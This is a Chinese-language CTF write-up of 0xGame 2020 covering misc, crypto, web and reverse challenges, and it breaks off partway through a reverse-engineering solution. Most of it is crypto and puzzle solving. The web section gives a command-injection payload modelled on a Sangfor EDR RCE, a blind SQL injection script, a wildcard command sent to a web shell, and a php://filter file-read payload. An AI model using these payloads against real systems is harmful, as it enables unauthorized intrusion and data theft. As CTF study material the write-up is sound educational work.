0xgame2020复现


MISC

QR_repair

下载附件是gif文件,gif拆分

ps抠图然后拼好补上三个角的定位符扫描二维码得到flag

最后flag为

1
0xGame{GIF_1s_int3resting}

lowerBase64

附件

1
2
3
4
5
6
7
from base64 import b64encode
from secret import flag

assert min([i in "abcdefghijklmnopqrstuvwxyz0123456789-{}" for i in flag])

print((b64encode(flag.encode()).decode().lower()))
# mhhnyw1lezviodq1ntkxltmwmditngjlny1hzgi5lwu4m2q1ntcymtblnx0=

Base64会把原文的3个字节为一组,一共是24bits,6bits一组重组为4个新的字符。所以我们爆破时需
要以4个一组,枚举所有字母大小写的组合,然后进行解码。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from base64 import b64decode
from itertools import product
c = 'mhhnyw1lezviodq1ntkxltmwmditngjlny1hzgi5lwu4m2q1ntcymtblnx0='
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-{}'

flag = b""
real_data = ""
for i in range(0, len(c), 4):
pos = []
for char in c[i:i+4]:
pos.append([char.lower(), char.upper()])
cases = ["".join(k) for k in product(*pos)]
for case in cases:
if all(chr(char) in table for char in b64decode(case)):
real_data += case
flag += b64decode(case)
break
print(real_data)
print(flag.decode())

运行得到

最后flag为

1
0xgame{5b845591-3002-4be7-adb9-e83d557210e5}

pcap

ctfnat-A一把梭

宽高一把梭

最后flag为

1
0xgame{your_code_is_awesome}

Differentpic

stegsolve打开image compare模式发现二维码

找到二维码,保存后再次使用Stegsolve打开

查看多个通道的二维码

建议识别缩略图二维码得到

最后flag为

1
0xGame{a_little_different}

extract

binwalk分离得到

扫描二维码得到

stegpy隐写

最后flag为

1
0xGame{384284a1-7dab-43d7-83f5-0b47b64d619b}

threeThousand

题目描述:

1
最终flag:0xGame{带有threeThousand字符串的一串网址中的文件名部分} 例如:http://bugku.com/threeThousand/abc.txt则flag为0xGame{abc}

压缩包套娃,,每层都有两位数字密码,需要简单爆破一下。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import shutil
import zipfile
import random
from os.path import join, getsize

fileIndex = 3000

while(fileIndex != 1):
fileName = "%d.zip" % fileIndex
print("begining extract: " + fileName)
f = zipfile.ZipFile(fileName, 'r')
for i in range(0, 100):
try:
f.extractall(pwd = ('%02d' % i).encode("utf-8"), path = r"./")
print("pwd = %02d" % i)
break
except:
pass

f.close()
os.remove(r"./%s" % fileName)
fileIndex = fileIndex - 1

运行得到

继续爆破

解压压缩包得到

最后flag为

1
0xGame{68b69473991b16db45b952d96da189f9}

easyMisc

进入网页直接可以看到的是一张图片hint.png,和坏掉的按钮提示的record.wav。F12在源代码可以看到两个base64编码的提示,
easyMisc/record.wav和easyMisc/flag.zip

1
2
stegpy hint.png
get_the_password_from_wav

record.wav,听着像电话音

dtmf2num分析

去重得到压缩包密码

1
2821876761

解压压缩包得到

stegpy隐写得到

最后flag为

1
0xGame{511a1a36eb4da797618c998ae933d72a}

flip

audacity查看发现摩斯密码

整理得到

1
....- ----- ----- ---.. ..... -.... -.... ----. ----. ...-- ----- ----- ... .. -.. .-. --- .-- ... ... .- .--.

摩斯解密

reverse

得到压缩包密码

1
003996658004

binwalk从galf_si_siht.zip 提取出一个password.txt

reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
01011001
01101111
01110101
00100000
01100001
01110010
01100101
00100000
01110011
01101111
00100000
01100011
01101100
01100101
01110110
01100101
01110010
00100000
01110100
01101000
01100001
01110100
00100000
01110100
01101000
01101001
01110011
00100000
01110000
01110010
01101111
01100010
01101100
01100101
01101101
00100000
01101001
01110011
00100000
01101010
01110101
01110011
01110100
00100000
01100001
00100000
01110000
01101001
01100101
01100011
01100101
00100000
01101111
01100110
00100000
01100011
01100001
01101011
01100101
00100000
01100110
01101111
01110010
00100000
01111001
01101111
01110101
00101100
00100000
01110100
01101000
01100101
00100000
01110000
01100001
01110011
01110011
01110111
01101111
01110010
01100100
00100000
01101001
01110011
00100000
01000001
01011111
01110000
01101001
00110011
01100011
01100101
01011111
00110000
01100110
01011111
01000011
00110100
01101011
01100101
I want to write file in binary, but something seems to be wrong?

二进制转ascll

得到

1
You are so clever that this problem is just a piece of cake for you, the password is A_pi3ce_0f_C4ke

解压压缩包得到不显示图像的png文件

010查看原因

reverse并扫描二维码

最后flag为

1
0xGame{bd055250d3906d1f791d8e83b4396893}

crypto

Calendar

密文

1
SAT1,THU1,MON3,MON2,WED3,SUN2,THU1,SUN4,FRI3,THU1,MON4,MON4,FRI4,THU3,SUN4,SUN2,TUE4,THU1,FRI1,MON3,MON2

日历加密,坐标翻译

前三个字母代表周一到周日,紧跟的数字范围是1~4,所以他们代表两个坐
标,列举出来并用a~z替换1~26

得到

1
calendar,password,table

easyXor

下载附件

1
2
3
4
5
6
7
8
9
from random import randint
from secret import flag

flag+="^"
cipher=[]
for i in range(len(flag)-1):
cipher.append(ord(flag[i])^ord(flag[i+1]))
print(cipher)
#[72, 63, 38, 12, 8, 30, 30, 6, 82, 4, 84, 88, 92, 7, 79, 29, 8, 90, 85, 26, 25, 87, 80, 10, 20, 20, 9, 4, 80, 73, 31, 5, 82, 0, 1, 92, 0, 0, 94, 81, 4, 85, 27, 35]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cipher = [72, 63, 38, 12, 8, 30, 30, 6, 82, 4, 84, 88, 92, 7, 79, 29, 8, 90, 85, 26, 25, 87, 80, 10, 20, 20, 9, 4, 80, 73, 31, 5, 82, 0, 1, 92, 0, 0, 94, 81, 4, 85, 27, 35]

# 初始化存储字符 ASCII 值的列表,长度比密文多 1(包含末尾的 '^')
n = len(cipher)
flag_ascii = [0] * (n + 1)

# 最后一个字符是 '^' (ASCII=94)
flag_ascii[n] = 94 # ord('^')

# 从后向前逆向推导每个字符
for i in range(n - 1, -1, -1):
flag_ascii[i] = cipher[i] ^ flag_ascii[i + 1]

# 将 ASCII 值转换为字符(忽略最后添加的 '^',只取前 n 个字符)
original_flag = ''.join(chr(ascii_val) for ascii_val in flag_ascii[:n])

print(original_flag)

运行得到

最后flag为

1
0xGame{ec15a9eb-08b7-4c39-904d-27eed888f73f}

supperAffine

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
from string import ascii_letters, digits
from random import randint
from secret import flag

assert flag.startswith("0xGame{") and flag.endswith("}")
table = ascii_letters+digits
MOD = len(table)

def affine(x, a, b): return a*x+b

def genKey():
a = [randint(1, 64) for _ in range(3)]
b = [randint(1, 64) for _ in range(3)]
while GCD(MOD, a[0]*a[1]*a[2]) != 1:
a = [randint(1, 64) for _ in range(3)]
return a, b


cipher = ""
A, B = genKey()
for i in flag:
if i not in table:
cipher += i
else:
cipher += table[affine(affine(affine(table.find(i),A[0], B[0]), A[1], B[1]), A[2], B[2]) % MOD]

print("cipher =", cipher)
# cipher = t6b7Tn{2GByBZBB-aan2-JRWn-GnZB-Jyf7a722ffnZ}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from math import gcd

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
MOD = len(table) # 62

# 已知的明密文对(前6个字符)
plain_text = "0xGame"
cipher_text = "t6b7Tn"
plain_indices = [table.index(c) for c in plain_text]
cipher_indices = [table.index(c) for c in cipher_text]

# 完整密文
full_cipher = "t6b7Tn{2GByBZBB-aan2-JRWn-GnZB-Jyf7a722ffnZ}"

# 暴力破解 A_total 和 B_total
found = False
for A in range(1, MOD):
if gcd(A, MOD) != 1: # 必须与62互质
continue
for B in range(MOD):
valid = True
for i in range(6):
encrypted = (A * plain_indices[i] + B) % MOD
if encrypted != cipher_indices[i]:
valid = False
break
if valid:
found = True
print(f"Found parameters: A_total={A}, B_total={B}")

# 计算A_total的模逆
A_inv = pow(A, -1, MOD)

# 解密整个密文
flag_chars = []
for char in full_cipher:
if char in table:
c_index = table.index(char)
# 逆变换:p = A_inv * (c - B) mod MOD
p_index = (A_inv * (c_index - B)) % MOD
flag_chars.append(table[p_index])
else:
flag_chars.append(char)
flag = "".join(flag_chars)
print("Decrypted flag:", flag)

if not found:
print("No valid parameters found")

运行得到

最后flag为

1
0xGame{1b292822-33e1-46fe-be82-49ca3a11cce8}

equationSet

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from secret import flag

e = 65537
m = bytes_to_long(flag.encode())
p, q, r = getPrime(512), getPrime(512), getPrime(512)

n = p*q*r
c = pow(m, e, n)
print(c)
print(n)
print(p+q+r)
print(p*q+p*r)

# 216719040256186298397028655750064798850021023231838775591251101297937953386321540642008911366410079301738663299175886582174049904795026196300416266896540788022341538256301122208968796109686704772520343054236258796389022513529783422276494540966067852471396816206074211421503474837485494701690098732037602480572789379332310254249433454320435936714104527518624688556709468603940992721211203289431590626844879607202468846406154353494833644211299572986462765136337085
# 894056034566447301955142597300391580123962451796006680489889450143519689799314285318095469039568599921956768134381823459346832348860916689950158242252303475622211716237139024235824024970750590961940570708153855153193857928904289336079278818981027749293609409415157353473040730164425412538915371548967647539451957985983743912574170521482411003705228431178007985555653030638470361056437181743865661398118081730394253048131772698895385973554074901982345619898803547
# 29655063393511915966933532346800235654775576930791631676606218430063696650865182051386041602150983593232007167167994217759277108630183882018065820737494389
# 157435908314881832180551915807491465031852975585204961520048477243905914352236153380025750630661313386951309182682385078397602167079680531363808068256951034309833123469066541560541919868062902433154755910784757010236542324384311320841771330997309437932617770557924786221264121042797084835364061257880278193538

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import long_to_bytes
import math

# 已知数据
c = 216719040256186298397028655750064798850021023231838775591251101297937953386321540642008911366410079301738663299175886582174049904795026196300416266896540788022341538256301122208968796109686704772520343054236258796389022513529783422276494540966067852471396816206074211421503474837485494701690098732037602480572789379332310254249433454320435936714104527518624688556709468603940992721211203289431590626844879607202468846406154353494833644211299572986462765136337085
n = 894056034566447301955142597300391580123962451796006680489889450143519689799314285318095469039568599921956768134381823459346832348860916689950158242252303475622211716237139024235824024970750590961940570708153855153193857928904289336079278818981027749293609409415157353473040730164425412538915371548967647539451957985983743912574170521482411003705228431178007985555653030638470361056437181743865661398118081730394253048131772698895385973554074901982345619898803547
s = 29655063393511915966933532346800235654775576930791631676606218430063696650865182051386041602150983593232007167167994217759277108630183882018065820737494389
t = 157435908314881832180551915807491465031852975585204961520048477243905914352236153380025750630661313386951309182682385078397602167079680531363808068256951034309833123469066541560541919868062902433154755910784757010236542324384311320841771330997309437932617770557924786221264121042797084835364061257880278193538
e = 65537

# 1. 求解素数 p
D = s**2 - 4*t
sqrtD = math.isqrt(D)
if sqrtD**2 != D:
raise ValueError("判别式不是完全平方数")
p = (s + sqrtD) // 2 # 取正根(确保是整数)

# 验证 p 整除 n
if n % p != 0:
p = (s - sqrtD) // 2 # 尝试负根
if n % p != 0:
raise ValueError("未找到正确的素数 p")

# 2. 求解 q 和 r
qr_sum = s - p # q + r
qr_prod = n // p # q * r

# 解二次方程 x^2 - (q+r)x + (q*r) = 0
D2 = qr_sum**2 - 4 * qr_prod
sqrtD2 = math.isqrt(D2)
if sqrtD2**2 != D2:
raise ValueError("二次方程无整数解")
q = (qr_sum + sqrtD2) // 2
r = (qr_sum - sqrtD2) // 2

# 3. 计算 φ(n) 和私钥 d
phi = (p-1) * (q-1) * (r-1)
d = pow(e, -1, phi)

# 4. 解密得到明文
m = pow(c, d, n)
flag = long_to_bytes(m).decode()

print(flag)

运行得到

最后flag为

1
0xGame{27a13154-ea07-40a5-9321-d6024bc204ad}

Fibonacci

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
from gmpy2 import next_prime
from functools import reduce
from secret import flag


def F(x):
if x == 1 or x == 2:
return 1
return F(x-1)+F(x-2)


n = reduce(lambda a, b: a*b, [getPrime(4) for _ in range(4)])
r = getRandomNBitInteger(67)
S = sum([F(i) % n for i in range(r)])
p = next_prime(S**16)
q = getPrime(p.bit_length())
m = bytes_to_long(flag)
c = pow(m, 65537, p*q)

print("r =", r)
print("n =", n)
print("c =", c)
print("N =", p*q)

# r = 6799657976717333
# n = 34969
# c = 182306974283951620352146026941583994848813143690343545292100780435573376889099600153592983212384957591086328477660614034391593564733860826251499298995355977799109267846836211477797049861348446512705981010295182077777939692478140339301301250656211795668782349225298841295102744088295274299888068087536135862146848855194234931032258224223054120694400807261402442809227521150204434199401928373883267697928229945582110688115412960868921538084717338343966490113059627708880297277412143561561837953806960309840302665509500602335832680764801782789278492075478763944213005349707521471401389317139473794212210077629296628421658105048387207038261321205
# N = 1885611999537620305525377668936000019248252379006235038175895811710218489750248037027959751027236326639084060685909621893589756343903429224938045802850975926055076789137326688384533999739909152386986919824268841500802585809839133132715892685629871188263336038221503698167753853207939360629026179572549702198037779413041272313618794196167670066872427987596564652249864272782397242041014605617282098654595635031878004275878165728021995744626212185694275937448739806439006047047376363093018124169182873374456718929377731991273039952515054850718253257895996999907977029169396644305213162133388169761391593110121229266422245167572929912914529689341

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from Crypto.Util.number import *
from gmpy2 import next_prime

def genFibonacci():
a = [1, 1]
for i in range(2, 2**16):
a.append(a[i-1] + a[i-2])
return a

def Legrend(a, p):
if a == 1:
return 1
if p % a == 0:
return 0
if a % 2 == 0:
return Legrend(a // 2, p) * pow(-1, (pow(p, 2) - 1) // 8)
return Legrend(p % a, a) * pow(-1, (a - 1)*(p - 1) // 4)


def isPeriod(T, a):
for t in range(T):
p = t + T
while p < len(a):
if a[p] != a[t]:
return False
p += T
return True


def Factor_n(n):
a = []
for i in range(2**3, 2**5):
if (not isPrime(i)) or (n % i):
continue
a.append([i, 0])
n //= i
while n % i == 0:
n //= i
a[-1][1] += 1
return a


def Factor_x(x):
a = []
for i in range(2, x):
if x % i == 0:
a.append(i)
return a


def solve(a):
per = []
for i in range(len(a)):
prime = a[i][0]
if Legrend(5, prime) == 1:
fac = Factor_x(prime - 1)
tmp = prime-1
else:
fac = Factor_x(2*(prime + 1))
tmp = 2*(prime + 1)
fib_mod = [(k % prime) for k in fib]
for t in fac:
if isPeriod(t, fib_mod):
per.append(t*(prime**a[i][1]))
break
else:
per.append(tmp*(prime**a[i][1]))

LCM = per[0]
for i in range(1, len(per)):
LCM = (per[i] * LCM) // GCD(LCM, per[i])
return LCM

r = 6799657976717333
n = 34969
c = 182306974283951620352146026941583994848813143690343545292100780435573376889099600153592983212384957591086328477660614034391593564733860826251499298995355977799109267846836211477797049861348446512705981010295182077777939692478140339301301250656211795668782349225298841295102744088295274299888068087536135862146848855194234931032258224223054120694400807261402442809227521150204434199401928373883267697928229945582110688115412960868921538084717338343966490113059627708880297277412143561561837953806960309840302665509500602335832680764801782789278492075478763944213005349707521471401389317139473794212210077629296628421658105048387207038261321205
N = 1885611999537620305525377668936000019248252379006235038175895811710218489750248037027959751027236326639084060685909621893589756343903429224938045802850975926055076789137326688384533999739909152386986919824268841500802585809839133132715892685629871188263336038221503698167753853207939360629026179572549702198037779413041272313618794196167670066872427987596564652249864272782397242041014605617282098654595635031878004275878165728021995744626212185694275937448739806439006047047376363093018124169182873374456718929377731991273039952515054850718253257895996999907977029169396644305213162133388169761391593110121229266422245167572929912914529689341

fib = genFibonacci()
a = Factor_n(n)
T = solve(a)

fib_mod = [(k % n) for k in fib]
S = sum(fib_mod[:T]) * (r // T)+sum(fib_mod[:r%T])
p = next_prime(S**16)
q = N // p
m = pow(c, inverse(65537, (p - 1) * (q - 1)), N)
print(long_to_bytes(m))

运行得到

最后flag为

1
0xGame{7d1e20ae-d6c3-4d1d-babf-fa8f8a40c844}

easyRSAC

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag.encode())
e = 65537
p, q = getPrime(1024), getPrime(1024)
d = inverse(e, (p-1)*(q-1))
x = 11*d+7*(p-1)*(q-1)
c = pow(m, e, p*q)

print("n =", p*q)
print("c =", c)
print("x =", x)

# n = 15321211041844905603734344178124947500324300419514650914959277216026081094496518094622195813971694335738777589926626969243883848477814650916143749322154944235584863085124154540941941026813506509060939499627059712020664731558566028207969260861863294704292014958955493668692256998253634012942569080200336487172402729072437050952572508561453302097971258470685521456512378089846772560530301852104802168974905937732653119166440832834381675710869396094149006807933529429939569477709674581421481769103309376717894952118650888932952440197471338958967318775671821835706884032860123711415773758546392549257375305940969423099611
# c = 14896093236493033914781929755936872928003725648997746598164823180134348743474984136539422027221313199599273430548738399424773586673404519182726589878322104929749149555906399158136445184378100079558203687049497943904275695897824656260657349522646553949766831267321006314984113971129230701131171378457086851261467999754137290017989201512492586108768533159551545321805463224339252886492732021354821330371600069958523522302729848548167244423902572054475396534469987383265867036041513161170273368613864180696427386890714264902686976581317435011139081192227958859641684254938165261747405568369502852705979424383731908971282
# x = 265060901898485540806769085700708185460124724747068797929982044073895401490880169847709049380530156090772787935089173201664711759633269693627724735457902114209008145932150728406880988293457762401679305297063608204632708505031098047582175011825482347052645324085149631658741807382378778694666759557421043250548432429798543553950625554307402164142007388940921309688918410535907564996075660231557340541491155676279511654970843992008027830570227549010293790074386638365293013298327534604995316180405779571245069623638693068707267840181413082202552862853411080755107836252852929279422343700808788459217261282790226013328915

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
n = 15321211041844905603734344178124947500324300419514650914959277216026081094496518094622195813971694335738777589926626969243883848477814650916143749322154944235584863085124154540941941026813506509060939499627059712020664731558566028207969260861863294704292014958955493668692256998253634012942569080200336487172402729072437050952572508561453302097971258470685521456512378089846772560530301852104802168974905937732653119166440832834381675710869396094149006807933529429939569477709674581421481769103309376717894952118650888932952440197471338958967318775671821835706884032860123711415773758546392549257375305940969423099611
c = 14896093236493033914781929755936872928003725648997746598164823180134348743474984136539422027221313199599273430548738399424773586673404519182726589878322104929749149555906399158136445184378100079558203687049497943904275695897824656260657349522646553949766831267321006314984113971129230701131171378457086851261467999754137290017989201512492586108768533159551545321805463224339252886492732021354821330371600069958523522302729848548167244423902572054475396534469987383265867036041513161170273368613864180696427386890714264902686976581317435011139081192227958859641684254938165261747405568369502852705979424383731908971282
x = 265060901898485540806769085700708185460124724747068797929982044073895401490880169847709049380530156090772787935089173201664711759633269693627724735457902114209008145932150728406880988293457762401679305297063608204632708505031098047582175011825482347052645324085149631658741807382378778694666759557421043250548432429798543553950625554307402164142007388940921309688918410535907564996075660231557340541491155676279511654970843992008027830570227549010293790074386638365293013298327534604995316180405779571245069623638693068707267840181413082202552862853411080755107836252852929279422343700808788459217261282790226013328915
e = 65537
kphi = x * e - 11
for r in range(e):
k = 7 * e + 11 * r
if kphi % k:
continue
phi = kphi // k
if len(bin(n - phi + 1)[2:]) > 1025:
continue
print(long_to_bytes(pow(c, inverse(e, phi), n)))

运行得到

最后flag为

1
0xGame{cfac8284-3013-439b-8ff3-884decb642bb}

web

robots协议

访问/robots.txt

访问/flaaaggg.php

最后flag为

1
0xGame{now_you_k0nw_robots_Protocol}

view source

查看网页源码得到flag

最后flag为

1
0xGame{web_sign_in}

getpost

get,post传参

最后flag为

1
0xGame{Get_4nd_P0sT_1s_eA5y}

wh1sper’s_secret_garden

hackbar一把梭

最后flag为

1
0xGame{宁就是接头霸王?}

read flag

Linux系统常用命令得到flag

最后flag为

1
0xGame{fl4g_1s_c0ntent}

just_login

目录扫描

访问/phpinfo.php

最后flag为

1
0xGame{e5sy_sql_1njeCtion}

intval

开启环境

//1st
可以使用%0a绕过
//2st
考察intval() 函数的特性,可以使用1024.1绕过

1
0xGame=20201001%0a&id=1024.1

最后flag为

1
0xGame{947eae96fe415cbc6eab1748dc92891a}

edr

开启环境

深信服edr的0day

变量覆盖

1
?strip_slashes=system&host=cat%20/flag

最后flag为

1
0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}

close eyes

和上面just_login题一样,访问/phpinfo.php

也可以使用二分盲注法

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
return (int)(0.5 * (top + bot))
def sqli():
name = ''
for j in range(1, 250):
top = 126
bot = 32
while 1:
babyselect = 'database()'#user
#babyselect = '(select table_name from information_schema.tables where table_schema=database())'#user
#babyselect = "(select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='user')"#id,username,password
#babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
data = {
"password": "1",
"username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
}
r = requests.post(url=host, data=data)
#print(r.text)
print(data)
if '数据库有你这号人' in r.text:#子查询为真
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)
print(name)
break
top = mid(bot, top)
if __name__ == '__main__':
sqli()

最后flag为

1
0xGame{blind_sqli_1s_not_hard}

虚假留言板

cookie伪造

最后flag为

1
0xGame{b3c48a2f54bb49c60a0d0848dc92891a}

????

开启环境

F12把maxlenth改为大一点的数,然后删掉提交按钮的disable属性,输入yulige 后提交

输入yulige

访问/sh3ll.php

payload:

1
POST: cmd=nl ????????????????

查看源码得到flag

最后flag为

1
0xGame{L1nux_i5_S0_gO0D_I_th1nK}

switch

swp文件泄露,访问.index.php.swp

vim -r 恢复源码

伪协议读取文件

1
id=2e&file=php://filtEr/convert.Base64-encode/resource=flag.php

base解密得到flag

broken motto

exp:

1
2
3
4
5
6
7
8
9
<?php
class info{
public $admin;
public $username;
public $motto;
}
$pop = new info();
$pop->admin = 1;
echo serialize($pop);

运行得到

payload:

1
O:4:"info":3:{s:5:"admin";i:1;s:8:"username";N;s:5:"motto";N;}

password和motto随便

reverse

签到

ida打开程序,shift+f12发现flag

最后flag为

1
0xgame{w3lcom3_20_oXCtf!}

去壳

shift+f12发现flag

最后flag为

1
0xgame{up3_is_a_basic_ke}

py一下

pyc反编译

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
check = [
48, 121, 101, 98, 105, 96, 125, 97, 101, 112, 115, 84, 96, 126, 81, 123,
39, 34, 77, 42, 36, 113, 73, 39, 126, 70, 106, 108, 114, 96, 19
]

# 解密过程
flag_chars = []
for i in range(len(check)):
# 逆向操作:将 check[i] 与索引 i 异或
decrypted_char = chr(check[i] ^ i)
flag_chars.append(decrypted_char)

# 拼接成完整字符串
flag = ''.join(flag_chars)
print("解密后的 Flag:", flag)

运行得到

最后flag为

1
0xgame{fmyy_ls_t73_90d_0f_pwn}

easybit

简单的位运算

exp:

1
2
3
4
5
6
a = [0x06, 0x0F, 0xEC, 0x2C, 0xAD, 0xAC, 0x6F, 0x4E, 0x66, 0xEB,
0x26, 0x6E, 0xEB, 0xCE, 0xAC, 0x4E, 0xE6, 0xEB, 0x8D, 0xCD,
0x8E, 0x66, 0x4E, 0xAC, 0x6E, 0x8E, 0x2D, 0xCD, 0x27, 0xAF]
for i in range(len(a)):
tmp = ((a[i]<<3)&0xff) ^ ((a[i]>>5)&0xff)
print(chr(tmp),end='')

运行得到

最后flag为

1
0xgame{r3_1s_ver7_lnt3restin9}

解方程

z3解方程

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from z3 import *
flag = [BitVec('x%d'%i,8) for i in range(0,28)]
s = Solver()
s.add(34 * flag[3] + 12 * flag[0] + 53 * flag[1] + 6 * flag[2] + 58 * flag[4] +36 * flag[5] + flag[6]==0x51C5)
s.add(27 * flag[4] + 73 * flag[3] + 12 * flag[2] + 83 * flag[0] + 85 * flag[1] +96 * flag[5] + 52 * flag[6]==0xA240 )
s.add(24 * flag[2] + 78 * flag[0] + 53 * flag[1] + 36 * flag[3] + 86 * flag[4] +25 * flag[5] + 46 * flag[6]==0x8359 )
s.add(78 * flag[1] + 39 * flag[0] + 52 * flag[2] + 9 * flag[3] + 62 * flag[4] +37 * flag[5] + 84 * flag[6]==0x9590 )
s.add(48 * flag[4] + 6 * flag[1] + 23 * flag[0] + 14 * flag[2] + 74 * flag[3] +12 * flag[5] + 83 * flag[6]==0x69D9 )
s.add(15 * flag[5] + 48 * flag[4] + 92 * flag[2] + 85 * flag[1] + 27 * flag[0] +42 * flag[3] + 72 * flag[6]==0x9EC9 )
s.add(26 * flag[5] + 67 * flag[3] + 6 * flag[1] + 4 * flag[0] + 3 * flag[2] + 68* flag[6]==0x4916 )
s.add(34 * flag[10] + 12 * flag[7] + 53 * flag[8] + 6 * flag[9] + 58 * flag[11]+ 36 * flag[12] + flag[13]==0x48B9)
s.add(27 * flag[11] + 73 * flag[10] + 12 * flag[9] + 83 * flag[7] + 85 * flag[8]+ 96 * flag[12] + 52 * flag[13]==0xA376 )
s.add(24 * flag[9] + 78 * flag[7] + 53 * flag[8] + 36 * flag[10] + 86 * flag[11]+ 25 * flag[12] + 46 * flag[13]==0x8CF0)
s.add(78 * flag[8] + 39 * flag[7] + 52 * flag[9] + 9 * flag[10] + 62 * flag[11]+ 37 * flag[12] + 84 * flag[13]==0x8985)
s.add(48 * flag[11] + 6 * flag[8] + 23 * flag[7] + 14 * flag[9] + 74 * flag[10]+ 12 * flag[12] + 83 * flag[13]==0x70D8)
s.add(15 * flag[12] + 48 * flag[11] + 92 * flag[9] + 85 * flag[8] + 27 * flag[7]+ 42 * flag[10] + 72 * flag[13]==0x8DFA)
s.add(26 * flag[12] + 67 * flag[10] + 6 * flag[8] + 4 * flag[7] + 3 * flag[9] +68 * flag[13]==0x4979)
s.add(34 * flag[17] + 12 * flag[14] + 53 * flag[15] + 6 * flag[16] + 58 * flag[18] + 36 * flag[19] + flag[20]==0x5135)
s.add(27 * flag[18] + 73 * flag[17] + 12 * flag[16] + 83 * flag[14] + 85 * flag[15] + 96 * flag[19] + 52 * flag[20]==0x99AC)
s.add(24 * flag[16] + 78 * flag[14] + 53 * flag[15] + 36 * flag[17] + 86 * flag[18] + 25 * flag[19] + 46 * flag[20]==0x7C3B)
s.add(78 * flag[15] + 39 * flag[14] + 52 * flag[16] + 9 * flag[17] + 62 * flag[18] + 37 * flag[19] + 84 * flag[20]==0x835D )
s.add(48 * flag[18] + 6 * flag[15] + 23 * flag[14] + 14 * flag[16] + 74 * flag[17] + 12 * flag[19] + 83 * flag[20]== 0x5F62 )
s.add(15 * flag[19] + 48 * flag[18] + 92 * flag[16] + 85 * flag[15] + 27 * flag[14] + 42 * flag[17] + 72 * flag[20]==0x8558 )
s.add(26 * flag[19] + 67 * flag[17] + 6 * flag[15] + 4 * flag[14] + 3 * flag[16]+ 68 * flag[20]==0x4078 )
s.add(34 * flag[24] + 12 * flag[21] + 53 * flag[22] + 6 * flag[23] + 58 * flag[25] + 36 * flag[26] + flag[27]==0x4CB6)
s.add(27 * flag[25] + 73 * flag[24] + 12 * flag[23] + 83 * flag[21] + 85 * flag[22] + 96 * flag[26] + 52 * flag[27]==0x9E43)
s.add(24 * flag[23] + 78 * flag[21] + 53 * flag[22] + 36 * flag[24] + 86 * flag[25] + 25 * flag[26] + 46 * flag[27]==0x8E2C)
s.add(78 * flag[22] + 39 * flag[21] + 52 * flag[23] + 9 * flag[24] + 62 * flag[25] + 37 * flag[26] + 84 * flag[27]==0x93CF)
s.add(48 * flag[25] + 6 * flag[22] + 23 * flag[21] + 14 * flag[23] + 74 * flag[24] + 12 * flag[26] + 83 * flag[27]==0x713A )
s.add(15 * flag[26] + 48 * flag[25] + 92 * flag[23] + 85 * flag[22] + 27 * flag[21] + 42 * flag[24] + 72 * flag[27]==0xA2EF )
s.add(26 * flag[26] + 67 * flag[24] + 6 * flag[22] + 4 * flag[21] + 3 * flag[23]+ 68 * flag[27]== 0x48AD)
if s.check() == sat:
m = s.model()
Str = [chr(m[flag[i]].as_long().real) for i in range(28)]
print(''.join(Str))

运行得到

最后flag为

1
0xgame{z3_ls_v3r7_ve_awful!}

maze

迷宫题

1
2
3
4
5
6
7
8
9
10
11
12
********************
********************
*********....*******
***s......**....****
***************.****
*d*************.****
*.*************.****
*.*************.****
*.**********....****
..**********.*******
.***********.*******
.............*******

tls_rc4

标题已经给提示了,tls回调函数先运行与主函数,tls回调函数使用rc4解密,先对最后比较的结果进行加密,在主函数中,就使用base64加
密,再比较,所以先rc4解密,再base64解密

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from base64 import *
